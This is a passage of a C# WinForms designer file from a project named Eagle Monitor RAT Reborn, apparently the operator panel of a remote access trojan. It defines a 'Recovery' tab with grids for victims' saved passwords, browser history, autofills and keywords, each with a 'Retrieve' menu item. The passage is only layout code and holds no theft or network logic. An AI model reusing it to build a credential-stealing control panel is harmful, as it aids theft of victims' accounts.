this.mainGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.mainGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.mainGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.mainGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.mainGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.mainGuna2TabControl.TabButtonImageAlign = System.Windows.Forms.HorizontalAlignment.Left; this.mainGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.mainGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.mainGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.mainGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.mainGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.mainGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.mainGuna2TabControl.TabIndex = 8; this.mainGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.mainGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.VerticalRight; this.mainGuna2TabControl.SelectedIndexChanged += new System.EventHandler(this.mainGuna2TabControl_SelectedIndexChanged); // // tabPage1 // this.tabPage1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage1.Controls.Add(this.recoveryGuna2TabControl); this.tabPage1.Location = new System.Drawing.Point(4, 4); this.tabPage1.Name = "tabPage1"; this.tabPage1.Size = new System.Drawing.Size(1091, 474); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Recovery"; // // recoveryGuna2TabControl // this.recoveryGuna2TabControl.Controls.Add(this.tabPage3); this.recoveryGuna2TabControl.Controls.Add(this.tabPage4); this.recoveryGuna2TabControl.Controls.Add(this.tabPage6); this.recoveryGuna2TabControl.Controls.Add(this.tabPage7); this.recoveryGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.recoveryGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.recoveryGuna2TabControl.Location = new System.Drawing.Point(0, 0); this.recoveryGuna2TabControl.Name = "recoveryGuna2TabControl"; this.recoveryGuna2TabControl.SelectedIndex = 0; this.recoveryGuna2TabControl.Size = new System.Drawing.Size(1091, 474); this.recoveryGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.recoveryGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.recoveryGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.recoveryGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.recoveryGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.recoveryGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.recoveryGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.recoveryGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.recoveryGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.recoveryGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.recoveryGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.recoveryGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.recoveryGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.recoveryGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.recoveryGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.recoveryGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.recoveryGuna2TabControl.TabIndex = 14; this.recoveryGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.recoveryGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage3 // this.tabPage3.BackColor = System.Drawing.Color.White; this.tabPage3.Controls.Add(this.passwordsDataGridView); this.tabPage3.Controls.Add(this.guna2VScrollBar1); this.tabPage3.Location = new System.Drawing.Point(4, 44); this.tabPage3.Name = "tabPage3"; this.tabPage3.Size = new System.Drawing.Size(1083, 426); this.tabPage3.TabIndex = 0; this.tabPage3.Text = "Passwords"; // // passwordsDataGridView // this.passwordsDataGridView.AllowUserToAddRows = false; this.passwordsDataGridView.AllowUserToDeleteRows = false; this.passwordsDataGridView.AllowUserToResizeColumns = false; this.passwordsDataGridView.AllowUserToResizeRows = false; this.passwordsDataGridView.BackgroundColor = System.Drawing.Color.White; this.passwordsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.passwordsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.passwordsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle1.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.passwordsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; this.passwordsDataGridView.ColumnHeadersHeight = 36; this.passwordsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column1, this.Column2, this.Column3, this.Column4}); this.passwordsDataGridView.ContextMenuStrip = this.passwordContextMenuStrip; this.passwordsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.passwordsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.passwordsDataGridView.EnableHeadersVisualStyles = false; this.passwordsDataGridView.GridColor = System.Drawing.Color.White; this.passwordsDataGridView.Location = new System.Drawing.Point(0, 0); this.passwordsDataGridView.Name = "passwordsDataGridView"; this.passwordsDataGridView.ReadOnly = true; this.passwordsDataGridView.RowHeadersVisible = false; dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; dataGridViewCellStyle4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.passwordsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle4; this.passwordsDataGridView.RowTemplate.Height = 26; this.passwordsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.passwordsDataGridView.Size = new System.Drawing.Size(1065, 426); this.passwordsDataGridView.TabIndex = 13; this.passwordsDataGridView.TabStop = false; // // Column1 // this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column1.DefaultCellStyle = dataGridViewCellStyle2; this.Column1.FillWeight = 25F; this.Column1.HeaderText = "URL"; this.Column1.Name = "Column1"; this.Column1.ReadOnly = true; // // Column2 // this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column2.DefaultCellStyle = dataGridViewCellStyle3; this.Column2.FillWeight = 18F; this.Column2.HeaderText = "Username"; this.Column2.Name = "Column2"; this.Column2.ReadOnly = true; // // Column3 // this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column3.FillWeight = 25F; this.Column3.HeaderText = "Password"; this.Column3.Name = "Column3"; this.Column3.ReadOnly = true; // // Column4 // this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column4.FillWeight = 20F; this.Column4.HeaderText = "Application"; this.Column4.Name = "Column4"; this.Column4.ReadOnly = true; // // passwordContextMenuStrip // this.passwordContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.passwordContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.getPasswordToolStripMenuItem}); this.passwordContextMenuStrip.Name = "clientContextMenuStrip"; this.passwordContextMenuStrip.Size = new System.Drawing.Size(129, 38); // // getPasswordToolStripMenuItem // this.getPasswordToolStripMenuItem.BackColor = System.Drawing.Color.White; this.getPasswordToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.getPasswordToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.key_32px; this.getPasswordToolStripMenuItem.Name = "getPasswordToolStripMenuItem"; this.getPasswordToolStripMenuItem.Size = new System.Drawing.Size(128, 34); this.getPasswordToolStripMenuItem.Text = "Retrieve"; this.getPasswordToolStripMenuItem.Click += new System.EventHandler(this.getPasswordToolStripMenuItem_Click); // // guna2VScrollBar1 // this.guna2VScrollBar1.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar1.FillColor = System.Drawing.Color.White; this.guna2VScrollBar1.InUpdate = false; this.guna2VScrollBar1.LargeChange = 10; this.guna2VScrollBar1.Location = new System.Drawing.Point(1065, 0); this.guna2VScrollBar1.Name = "guna2VScrollBar1"; this.guna2VScrollBar1.ScrollbarSize = 18; this.guna2VScrollBar1.Size = new System.Drawing.Size(18, 426); this.guna2VScrollBar1.TabIndex = 14; this.guna2VScrollBar1.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage4 // this.tabPage4.BackColor = System.Drawing.Color.White; this.tabPage4.Controls.Add(this.guna2VScrollBar2); this.tabPage4.Controls.Add(this.historyDataGridView); this.tabPage4.Location = new System.Drawing.Point(4, 44); this.tabPage4.Name = "tabPage4"; this.tabPage4.Size = new System.Drawing.Size(1083, 426); this.tabPage4.TabIndex = 1; this.tabPage4.Text = "History"; // // guna2VScrollBar2 // this.guna2VScrollBar2.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar2.FillColor = System.Drawing.Color.White; this.guna2VScrollBar2.InUpdate = false; this.guna2VScrollBar2.LargeChange = 10; this.guna2VScrollBar2.Location = new System.Drawing.Point(1065, 0); this.guna2VScrollBar2.Name = "guna2VScrollBar2"; this.guna2VScrollBar2.ScrollbarSize = 18; this.guna2VScrollBar2.Size = new System.Drawing.Size(18, 426); this.guna2VScrollBar2.TabIndex = 15; this.guna2VScrollBar2.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // historyDataGridView // this.historyDataGridView.AllowUserToAddRows = false; this.historyDataGridView.AllowUserToDeleteRows = false; this.historyDataGridView.AllowUserToResizeColumns = false; this.historyDataGridView.AllowUserToResizeRows = false; this.historyDataGridView.BackgroundColor = System.Drawing.Color.White; this.historyDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.historyDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.historyDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle5.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.historyDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle5; this.historyDataGridView.ColumnHeadersHeight = 36; this.historyDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column5, this.Column6, this.Column7, this.Column8, this.Column9}); this.historyDataGridView.ContextMenuStrip = this.historyContextMenuStrip; this.historyDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.historyDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.historyDataGridView.EnableHeadersVisualStyles = false; this.historyDataGridView.GridColor = System.Drawing.Color.White; this.historyDataGridView.Location = new System.Drawing.Point(0, 0); this.historyDataGridView.Name = "historyDataGridView"; this.historyDataGridView.ReadOnly = true; this.historyDataGridView.RowHeadersVisible = false; dataGridViewCellStyle8.BackColor = System.Drawing.Color.White; dataGridViewCellStyle8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle8.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle8.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.historyDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle8; this.historyDataGridView.RowTemplate.Height = 26; this.historyDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.historyDataGridView.Size = new System.Drawing.Size(1083, 426); this.historyDataGridView.TabIndex = 14; this.historyDataGridView.TabStop = false; this.historyDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.historyDataGridView_MouseUp); // // Column5 // this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column5.DefaultCellStyle = dataGridViewCellStyle6; this.Column5.FillWeight = 25F; this.Column5.HeaderText = "Application"; this.Column5.Name = "Column5"; this.Column5.ReadOnly = true; // // Column6 // this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column6.DefaultCellStyle = dataGridViewCellStyle7; this.Column6.FillWeight = 18F; this.Column6.HeaderText = "Title"; this.Column6.Name = "Column6"; this.Column6.ReadOnly = true; // // Column7 // this.Column7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column7.FillWeight = 25F; this.Column7.HeaderText = "URL"; this.Column7.Name = "Column7"; this.Column7.ReadOnly = true; // // Column8 // this.Column8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column8.FillWeight = 20F; this.Column8.HeaderText = "Date"; this.Column8.Name = "Column8"; this.Column8.ReadOnly = true; // // Column9 // this.Column9.HeaderText = "Visit Count"; this.Column9.Name = "Column9"; this.Column9.ReadOnly = true; // // historyContextMenuStrip // this.historyContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.historyContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.historyToolStripMenuItem}); this.historyContextMenuStrip.Name = "clientContextMenuStrip"; this.historyContextMenuStrip.Size = new System.Drawing.Size(129, 38); // // historyToolStripMenuItem // this.historyToolStripMenuItem.BackColor = System.Drawing.Color.White; this.historyToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.historyToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.time_machine_32px; this.historyToolStripMenuItem.Name = "historyToolStripMenuItem"; this.historyToolStripMenuItem.Size = new System.Drawing.Size(128, 34); this.historyToolStripMenuItem.Text = "Retrieve"; this.historyToolStripMenuItem.Click += new System.EventHandler(this.historyToolStripMenuItem_Click); // // tabPage6 // this.tabPage6.Controls.Add(this.autofillDataGridView); this.tabPage6.Controls.Add(this.guna2VScrollBar5); this.tabPage6.Location = new System.Drawing.Point(4, 44); this.tabPage6.Name = "tabPage6"; this.tabPage6.Size = new System.Drawing.Size(1083, 426); this.tabPage6.TabIndex = 2; this.tabPage6.Text = "Autofills"; this.tabPage6.UseVisualStyleBackColor = true; // // autofillDataGridView // this.autofillDataGridView.AllowUserToAddRows = false; this.autofillDataGridView.AllowUserToDeleteRows = false; this.autofillDataGridView.AllowUserToResizeColumns = false; this.autofillDataGridView.AllowUserToResizeRows = false; this.autofillDataGridView.BackgroundColor = System.Drawing.Color.White; this.autofillDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.autofillDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.autofillDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle9.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.autofillDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle9; this.autofillDataGridView.ColumnHeadersHeight = 36; this.autofillDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column21, this.Column22, this.Column23, this.Column24, this.Column25}); this.autofillDataGridView.ContextMenuStrip = this.autofillContextMenuStrip; this.autofillDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.autofillDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.autofillDataGridView.EnableHeadersVisualStyles = false; this.autofillDataGridView.GridColor = System.Drawing.Color.White; this.autofillDataGridView.Location = new System.Drawing.Point(0, 0); this.autofillDataGridView.Name = "autofillDataGridView"; this.autofillDataGridView.ReadOnly = true; this.autofillDataGridView.RowHeadersVisible = false; dataGridViewCellStyle12.BackColor = System.Drawing.Color.White; dataGridViewCellStyle12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle12.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle12.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.autofillDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle12; this.autofillDataGridView.RowTemplate.Height = 26; this.autofillDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.autofillDataGridView.Size = new System.Drawing.Size(1065, 426); this.autofillDataGridView.TabIndex = 15; this.autofillDataGridView.TabStop = false; this.autofillDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.autofillDataGridView_MouseUp); // // Column21 // this.Column21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column21.DefaultCellStyle = dataGridViewCellStyle10; this.Column21.FillWeight = 25F; this.Column21.HeaderText = "Application"; this.Column21.Name = "Column21"; this.Column21.ReadOnly = true; // // Column22 // this.Column22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column22.DefaultCellStyle = dataGridViewCellStyle11; this.Column22.FillWeight = 18F; this.Column22.HeaderText = "Name"; this.Column22.Name = "Column22"; this.Column22.ReadOnly = true; // // Column23 // this.Column23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column23.FillWeight = 25F; this.Column23.HeaderText = "Autofill"; this.Column23.Name = "Column23"; this.Column23.ReadOnly = true; // // Column24 // this.Column24.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column24.FillWeight = 20F; this.Column24.HeaderText = "Date created"; this.Column24.Name = "Column24"; this.Column24.ReadOnly = true; // // Column25 // this.Column25.HeaderText = "Last date used"; this.Column25.Name = "Column25"; this.Column25.ReadOnly = true; // // autofillContextMenuStrip // this.autofillContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.autofillContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.autofillToolStripMenuItem}); this.autofillContextMenuStrip.Name = "clientContextMenuStrip"; this.autofillContextMenuStrip.Size = new System.Drawing.Size(129, 38); // // autofillToolStripMenuItem // this.autofillToolStripMenuItem.BackColor = System.Drawing.Color.White; this.autofillToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.autofillToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.single_line_text_input_32px; this.autofillToolStripMenuItem.Name = "autofillToolStripMenuItem"; this.autofillToolStripMenuItem.Size = new System.Drawing.Size(128, 34); this.autofillToolStripMenuItem.Text = "Retrieve"; this.autofillToolStripMenuItem.Click += new System.EventHandler(this.autofillToolStripMenuItem_Click); // // guna2VScrollBar5 // this.guna2VScrollBar5.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar5.FillColor = System.Drawing.Color.White; this.guna2VScrollBar5.InUpdate = false; this.guna2VScrollBar5.LargeChange = 10; this.guna2VScrollBar5.Location = new System.Drawing.Point(1065, 0); this.guna2VScrollBar5.Name = "guna2VScrollBar5"; this.guna2VScrollBar5.ScrollbarSize = 18; this.guna2VScrollBar5.Size = new System.Drawing.Size(18, 426); this.guna2VScrollBar5.TabIndex = 16; this.guna2VScrollBar5.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage7 // this.tabPage7.Controls.Add(this.keywordsDataGridView); this.tabPage7.Controls.Add(this.guna2VScrollBar6); this.tabPage7.Location = new System.Drawing.Point(4, 44); this.tabPage7.Name = "tabPage7"; this.tabPage7.Size = new System.Drawing.Size(1083, 426); this.tabPage7.TabIndex = 3; this.tabPage7.Text = "Keywords"; this.tabPage7.UseVisualStyleBackColor = true; // // keywordsDataGridView // this.keywordsDataGridView.AllowUserToAddRows = false; this.keywordsDataGridView.AllowUserToDeleteRows = false; this.keywordsDataGridView.AllowUserToResizeColumns = false; this.keywordsDataGridView.AllowUserToResizeRows = false; this.keywordsDataGridView.BackgroundColor = System.Drawing.Color.White; this.keywordsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.keywordsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.keywordsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle13.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle13.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle13.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle13.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle13.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.keywordsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle13; this.keywordsDataGridView.ColumnHeadersHeight = 36; this.keywordsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column26, this.Column27}); this.keywordsDataGridView.ContextMenuStrip = this.keywordsContextMenuStrip; this.keywordsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.keywordsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.keywordsDataGridView.EnableHeadersVisualStyles = false; this.keywordsDataGridView.GridColor = System.Drawing.Color.White; this.keywordsDataGridView.Location = new System.Drawing.Point(0, 0); this.keywordsDataGridView.Name = "keywordsDataGridView"; this.keywordsDataGridView.ReadOnly = true; this.keywordsDataGridView.RowHeadersVisible = false; dataGridViewCellStyle16.BackColor = System.Drawing.Color.White; dataGridViewCellStyle16.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle16.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle16.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.keywordsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle16; this.keywordsDataGridView.RowTemplate.Height = 26; this.keywordsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.keywordsDataGridView.Size = new System.Drawing.Size(1065, 426); this.keywordsDataGridView.TabIndex = 16; this.keywordsDataGridView.TabStop = false; this.keywordsDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.keywordsDataGridView_MouseUp); // // Column26 // this.Column26.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle14.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column26.DefaultCellStyle = dataGridViewCellStyle14; this.Column26.FillWeight = 20F; this.Column26.HeaderText = "Application"; this.Column26.Name = "Column26"; this.Column26.ReadOnly = true; // // Column27 // this.Column27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column27.DefaultCellStyle = dataGridViewCellStyle15; this.Column27.FillWeight = 25F; this.Column27.HeaderText = "Keywords"; this.Column27.Name = "Column27"; this.Column27.ReadOnly = true; // // keywordsContextMenuStrip // this.keywordsContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.keywordsContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.keywordsToolStripMenuItem}); this.keywordsContextMenuStrip.Name = "clientContextMenuStrip"; this.keywordsContextMenuStrip.Size = new System.Drawing.Size(129, 38); // // keywordsToolStripMenuItem // this.keywordsToolStripMenuItem.BackColor = System.Drawing.Color.White; this.keywordsToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.keywordsToolStripMenuItem.Image = 